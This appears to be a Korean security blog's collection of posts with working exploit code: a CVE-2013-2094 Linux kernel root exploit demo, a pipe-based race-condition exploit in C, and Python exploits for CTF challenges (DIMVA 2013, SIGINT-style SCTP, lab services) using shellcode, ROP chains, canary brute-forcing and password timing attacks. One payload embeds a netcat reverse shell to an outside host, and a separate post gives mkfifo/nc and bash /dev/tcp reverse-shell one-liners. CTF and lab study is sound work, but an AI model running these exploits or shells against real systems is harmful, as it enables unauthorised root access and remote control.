원래 제대로 깊게 분석해보려고 했는데... 급 귀찮음을 느껴서 단순히 소개만..


이 취약점은 2013년 5월 14일에 발표되었다.

그래서, 현재 대부분의 기본 커널에서 적용되는 취약점이다.

(Ubuntu 13.04 64bit에서도 확인해보았는데, 루트가 따였다.)

상당히 심각한 취약점이니, 꼭 패치를 해야한다.


tunz@ubuntu:~/cve-2013-2094$ cat /etc/os-release

NAME="Ubuntu"

VERSION="13.04, Raring Ringtail"

...

tunz@ubuntu:~/cve-2013-2094$ uname -a

Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

tunz@ubuntu:~/cve-2013-2094$ ./a.out

Searchin...

detected CONFIG_JUMP_LABEL

perf_swevent_enabled is at 0xffffffff81ef31c0

IDT at 0xffffffff81df4000

Using interrupt 128

Shellcode at 0x81000000

Triggering sploit

Got signal

Launching shell

# id

uid=0(root) gid=1000(tunz) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),108(lpadmin),124(sambashare),1000(tunz) 



이 취약점은 kernel/events/core.c의 perf_swevent_init 함수에서 발생하는 취약점이다.


static int perf_swevent_init(struct perf_event *event)

{

- int event_id = event->attr.config;

+ u64 event_id = event->attr.config;


event_id를 int형으로 받았다.

그 결과, 음수의 값도 받을수가 있게 되었고, 그다음의


 static_key_slow_inc(&perf_swevent_enabled[event_id]);


위 부분에서 문제가 발생한다.

위의 어레이에서 음수를 넣으면, 해당 어레이 뒤쪽의 값들을 조작할수가 있게 된다.


그 후로 이러쿵 저러쿵 해서, idt를 조작한후, 인터럽트 핸들러에 쉘코드를 덮어쓴후, 인터럽트를 이용해 루트를 따는듯하다.



**

우분투 기준 커널 업데이트방법

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade



posted by tunz
  • 2013.09.07 15:07

    비밀댓글입니다

    • tunz 2013.09.08 16:31 신고

      함수 콜을 할때 인자를 어떤식으로 넘기는지 알아보시면, 이해가 가실거같아요.
      대략적으로 말씀드리자면, gcc같은 경우는 첫번째 인자는 esp, 두번째 인자는 esp+4, ... 이런식으로 옮겨놓은다음에, 함수콜을 하게되면,
      [ret][arg1][arg2]... 이 상태가 되거든요, 그래서 ebp+8, ebp+c와 같은 방법으로 인자에 접근하게 됩니다.
      ROP를 할때는, ret을 이용해서 콜을 하기때문에, [call 할거][ret][arg1][arg2]... 로 세팅을 하게되면,
      call을 한 후에 [ret][arg1][arg2]와 같은 상태가 되니, 함수콜을 한것과 마찬가지가 되는거죠

  • 2013.09.08 19:31

    비밀댓글입니다

  • 2013.09.11 23:15

    비밀댓글입니다

    • tunz 2013.09.12 01:53 신고

      음..... 딱히 어떤 문서 하나만 보고 한게 아니라서 잘 모르겠네요.
      BOF원정대 페도라성 풀면서 그 write up들이랑, 이것저것 문서 찾아보면서 공부했던것같아요

  • levs 2013.10.07 21:04

    음 여기랑은 관련 없지만 질문하나 하겠습니다
    elf 디버깅 할때 보면 리눅스 elf 파일을 윈도우 아이다로 까주던데
    어떻게 리눅스에서 윈도우로 파일을 가져와 줄수 있나요?

    • tunz 2013.10.08 01:22 신고

      winscp나 단순히 ftp등을 이용해서 가져올수 있습니다.

레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.

아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.

PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.

이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.

멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.

(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능)


참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/



#include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h>   int main() { system("rm 'test (deleted)'"); system("ln -s sh 'test (deleted)'"); system("rm test"); system("ln vuln test");   pid_t pid; ssize_t ret; int pipefd[2]; char buf[4096]; int flags; memset(buf,'A',4096); buf[4095]=0;   pipe(pipefd); // non-blocking flags = fcntl(pipefd[1], F_GETFL); flags |= O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   // fill pipe do { ret = write(pipefd[1], buf, 4096); } while ( !(ret == -1 && errno == EAGAIN) );   do { ret = write(pipefd[1], buf, 1); } while ( !(ret == -1 && errno == EAGAIN) );   // blocking flags = fcntl(pipefd[1], F_GETFL); flags &= ~O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   switch(pid = fork()) { case 0: sleep(1); remove("test"); int i=0; for (i=0; i<16; i++) read(pipefd[0],&buf,4096);   exit(0); default: dup2(2,77); dup2(pipefd[1], 2); putenv("LD_PRELOAD=tunz"); execlp("./test", "test", NULL); } }


posted by tunz

같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.

이건, pwn 100에서 딴 쉘을 이용해서 풀었다.

pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)

ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다.


아래는 익스플로잇

(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.)


from socket import * from struct import * import hashlib import time   for i in range(0,0x1000): s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1120)) s.settimeout(2) #system = 0xf7000430+i*0x1000 system=0xf762f430 print "pwn2 system: "+hex(system) s.send("A") s.recv(1024)   #body = ";id>&4;" body = ";cat flag>&4;" body += "a"*(128-len(body))   SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xff\xff"+SHA256+body data += "a"*1364 data += pack('<L',system) data += "c"*(0x800-len(data)) s.send(data)   get=s.recv(1024) """ if "uid" in get: print get break """ time.sleep(0.2) try: get=s.recv(1024) print get except: s.close() continue """ if "uid" in get: print get break """   s.close() break


'Computer Security > CTF' 카테고리의 다른 글

[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
Whitehat Contest 개인전 예선 보고서  (2) 2013.09.12
[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
posted by tunz

NX가 걸려있지 않았고, 레지스트를 보여줬다.

그래서 그냥 해당 주소에 쉘코드를 넣고, EIP를 그쪽으로 우회하면 된다.


from struct import * import hashlib import time import sys   s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1116)) raw_input('go?') s.settimeout(2) s.recv(1024)   fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd))   # ./msfvenom -p linux/x86/exec CMD="/bin/cat flag" -b '\x0a\x00' shellcode += "\xba\xa1\xdd\xa6\x03\xd9\xc5\xd9\x74\x24\xf4\x5e\x29\xc9" +\ "\xb1\x0d\x83\xee\xfc\x31\x56\x0f\x03\x56\xae\x3f\x53\x69" +\ "\xbb\xe7\x05\x3c\xdd\x7f\x1b\xa2\xa8\x67\x0b\x0b\xd9\x0f" +\ "\xcc\x3b\x32\xb2\xa5\xd5\xc5\xd1\x64\xc2\xdb\x15\x89\x12" +\ "\xcc\x77\xe0\x7c\x3d\x1b\x93\xf4\x61\xbd\x3f\x94\x06\x41" +\ "\x97\x05\x41\xa0\xda\x2a" body = "a"*128   SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xf0\x0f"+SHA256+body data += "\x90"*(1388-len(shellcode)-4) data += shellcode+"\x90\x90\x90\x90" data += pack('<L',0xffffd2e8) s.send(data)   print s.recv(65000) print s.recv(65000) print s.recv(65000)   s.close()


'Computer Security > CTF' 카테고리의 다른 글

Whitehat Contest 개인전 예선 보고서  (2) 2013.09.12
[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
posted by tunz

(안드로이드 기준으로 설명한다.)


우선 adb와 busybox를 설치해서 기본 세팅을 해둔다.

(윈도우보단 우분투에서 adb를 설치하는게 좋은듯)


그리고 su로 루트로 접속하고, WiFi는 꺼둔다.


원래는 그냥 tcpdump를 다운받아서, 다른것처럼 rmnet0나 rmnet_usb0를 덤프하면 된다.


하지만, rmnet_usb0를 덤프하려고 하면, 이름때문에 usb라고 착각을 하면서 덤프가 잘 안된다.


root@android:/data/local # ./tcpdump -i rmnet_usb0 -X

tcpdump: Can't get USB bus index from rmnet_usb0


그래서 해당부분을 바이너리패치했다. (그래서, 이 파일로는 진짜 usb 덤프는 불가능하다.)


tcpdump2



파일을 디바이스에 올리고, 실행권한을 준 다음에, 다른것들과 똑같이 덤프하면 된다.


# chmod 777 tcpdump2

# ./tcpdump2 -i rmnet_usb0 -X -w /sdcard/test.pcap -s 0



posted by tunz





from socket import *
import time
import base64
from struct import *
 
 
base_addr = 0xb782970d - 0x170d # get from stack smashing information
libc_base = 0xb7698113 - 0xf3 - 0x19020 # get from stack smashing information
 
read = base_addr + 0xd20
system = libc_base + 0x3cb20
pppr = base_addr + 0x19ba
bss = base_addr + 0x4240 + 0x300
 
# password check
"""
lists = range(ord('0'),ord('9')+1) + range(ord('a'),ord('z')+1) + range(ord('A'),ord('Z')+1)
j=0
password = ""
while j<16:
        for i in lists:
                print password+chr(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                s_time = time.time()
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+base64.encodestring(password+chr(i))+"\r\n\r\n")
                s.recv(1024)
                e_time = time.time()
                if (e_time - s_time) < 0.002:
                        password += chr(i)
                        break
        j=j+1
"""
password = "bdRT5ifONhSSbXUy"
 
print "Password is "+password
 
# canary check
"""
lists = range(0,0x100)
j=0
canary = ""
while j<4:
        for i in lists:
                print hex(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                s_time = time.time()
                payload = password
                payload += "A"*(2032)
                payload += canary
                payload += chr(i)
                payload = base64.encodestring(payload).replace("\n","")
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+payload+"\r\n\r\n")
                data = s.recv(1024)
                e_time = time.time()
                if "stack smashing" not in data:
                        canary += chr(i)
                        break
        j=j+1
 
print "canary: "+hex(unpack('<L',canary)[0])
"""
canary = pack('<L',0x36c9bf00)
 
#ebx check
"""
lists = range(0,0x100)
j=0
ebx = ""
while j<4:
        for i in lists:
                print hex(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                payload = password
                payload += "A"*(2032)
                payload += canary
                payload += "A"*12
                payload += ebx+chr(i)
                payload = base64.encodestring(payload).replace("\n","")
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+payload+"\r\n\r\n")
                try:
                        data = s.recv(1024)
                except:
                        data = ""
                if "HTTP/1.0 200 Ok" in data:
                        ebx += chr(i)
                        break
        j=j+1
print "ebx: "+hex(unpack('<L',ebx)[0])
"""
ebx = pack('<L',0xb782c118)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.197.130',20004))
raw_input('go?')
 
s.send("GET / HTTP/1.0\r\n")
 
cmd = "id\x00"
 
payload = password
payload += "A"*(2032)
payload += canary
payload += "A"*12
payload += ebx
payload += "A"*12
payload += pack('<L',read)
payload += pack('<L',pppr)
payload += pack('<L',0)
payload += pack('<L',bss)
payload += pack('<L',len(cmd))
 
payload += pack('<L',system)
payload += "AAAA"
payload += pack('<L',bss)
 
payload = base64.encodestring(payload).replace("\n","")
 
s.send("Authorization: Basic "+payload+"\r\n")
 
time.sleep(0.5)
 
s.send(cmd)
 
time.sleep(0.5)
print s.recv(1024)
 
s.close()


posted by tunz





from socket import * from struct import * import hmac from hashlib import sha1   # contents: 0x804bdf4 # 0804: 0x8048584+7 # 8f: 804bda4+1 # 30: 80482a4   rand_plt = 0x08048f30 rand_got = 0x804bd98 memcpy = 0x8048e60 gContents = 0x804bdf4 ppppr = 0x804a26c   pop_ebx = 0x8049402 # pop ebx ; pop ebp ;; pop_eax = 0x8049b4f # pop eax ; add esp 0x5c ;; add_eax_ebx = 0x80493f9 # add eax 0x804bde4 ; add [ebx+0x5d5b04c4] eax ;; leave_ret = 0x8049431 # leave;;   s = socket(AF_INET, SOCK_STREAM) s.connect(('192.168.197.130',20003))   raw_input('go?') get=s.recv(1024).rstrip() token = get[1:len(get)-1] print token   cmd = "id\x00"   payload = "" payload += pack('<L',pop_ebx) payload += pack('<L',(rand_got - 0x5d5b04c4)&0xFFFFFFFF) # ebx payload += "AAAA" # ebp   payload += pack('<L',pop_eax) payload += pack('<L',0xf7fbd6cc) payload += "A"*(0x5c)   payload += pack('<L',add_eax_ebx) # eax = 0x94b0   payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-5) payload += pack('<L',0x8048584+7) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-6) payload += pack('<L',0x8048584+8) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-7) payload += pack('<L',0x804bbb4+1) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-8) payload += pack('<L',0x80482a4) payload += "\\\\u0100\\\\u0000"   payload += pack('<L',ppppr+3) payload += pack('<L', gContents-12) # ebp   payload += pack('<L',leave_ret)   lists = range(ord('a'),ord('z')+1)+range(ord('A'),ord('Z')+1)+range(ord('0'),ord('9')+1)   breakall=0   for i in lists: for j in lists: for k in lists: for l in lists: trys = chr(i)+chr(j)+chr(k)+chr(l) print trys json = '{"contents":"mkfifo /tmp/tunz; nc 192.168.197.128 31337 0< /tmp/tunz | /bin/sh 1> /tmp/tunz;", "title":"'+trys+"A"*123+"\\\\u0030"+"A"*31+payload+'", "serverip":"192.168.197.128:31337"}' checksum = hmac.new(token,token+"\n"+json,sha1).hexdigest() print checksum if checksum[0:4] == "0000": breakall=1 break if breakall==1: break if breakall==1: break if breakall==1: break   print "Send: "+token+"\n"+json print checksum   s.send(token+"\n"+json) s.close()


posted by tunz

몇몇 라이트업들을 보니 "nc -e /bin/sh IP PORT" 등으로 리버스텔넷을 하는 경우가 있다.

근데, 난 안됀다... e옵션이 없다.

그래서 찾아본 다른 방법


victim

system("mkfifo /tmp/tunz; nc IP PORT 0< /tmp/tunz | /bin/sh 1> /tmp/tunz")


attacker

$ nc -l -p PORT -vvv


(단, 접속후 큐파일, /tmp/tunz은 꼭 지우도록 한다.)



추가)


/bin/bash -i >& /dev/tcp/IP/PORT 0>&1


/dev/tcp 가 있으면 그냥, 저기에 IP,PORT만 써넣으면 됌

posted by tunz



from socket import *
from struct import *
import time
 
def cipher(s,key):
        i=0
        after=""
        while i<len(s):
                after += chr(ord(s[i])^ ord(key[i%128]))
                i=i+1
        return after
 
read = 0x8048860
write = 0x080489c0
ppppr = 0x80499bc
bss = 0x0804b520
write_got = 0x804b3dc
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.197.130',20002))
 
time.sleep(1)
 
s.recv(1024)
 
msg="\x00"*128
s.send("E"+pack('<I',len(msg))+msg)
s.recv(121)
size=unpack('<I',s.recv(4))[0]
s.recv(1)
key = ""
while len(key) < 128:
        key += s.recv(1024)
print "[+] Get xor key"
 
cmd="id\x00"
 
payload = "A"*131088
payload += pack('<I',read)
payload += pack('<I',ppppr+1)
payload += pack('<I',0)
payload += pack('<I',bss)
payload += pack('<I',len(cmd))
 
payload += pack('<I',write)
payload += pack('<I',ppppr+1)
payload += pack('<I',1)
payload += pack('<I',write_got)
payload += pack('<I',4)
 
payload += pack('<I',read)
payload += pack('<I',ppppr+1)
payload += pack('<I',0)
payload += pack('<I',write_got)
payload += pack('<I',4)
 
payload += pack('<I',write) # system
payload += "AAAA"
payload += pack('<I',bss)
 
payload = cipher(payload,key)
 
s.send("E"+pack('<I',len(payload))+payload)
s.recv(121)
total=0
while total < len(payload):
        total += len(s.recv(65000))
s.send("Q")
 
s.send(cmd)
 
get = s.recv(4)
write_addr = unpack('<I',"0"*(4-len(get))+get)[0]
system_addr = write_addr - 0xc12c0 + 0x3cb20
print "[+] System: "+hex(system_addr)
 
s.send(pack('<I',system_addr))
 
print s.recv(1024)
 
s.close()


posted by tunz






import socket
import sctp
from struct import *
 
s = sctp.sctpsocket_tcp(socket.AF_INET)
s.connect(('188.40.147.118',1024))
#s.connect(('127.0.0.1',1024))
print s.recv(1024)
cmd = "system\x00"
s.sctp_send(cmd+"A"*(24-len(cmd))+pack('<Q',0x401120)+"EEEEEEEE"+"\n",stream=9)
get=s.recv(1024)
system=int(get[2:],16)
print "System: "+hex(system)
cmd = "id>&4\x00"
s.sctp_send(cmd+"A"*(24-len(cmd))+pack('<Q',system)+"EEEEEEEE"+"\n",stream=9)
get=s.recv(1024)
print get
 
s.close()


'Computer Security > CTF' 카테고리의 다른 글

[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
[defcon 2013] annyong exploit  (1) 2013.06.28
posted by tunz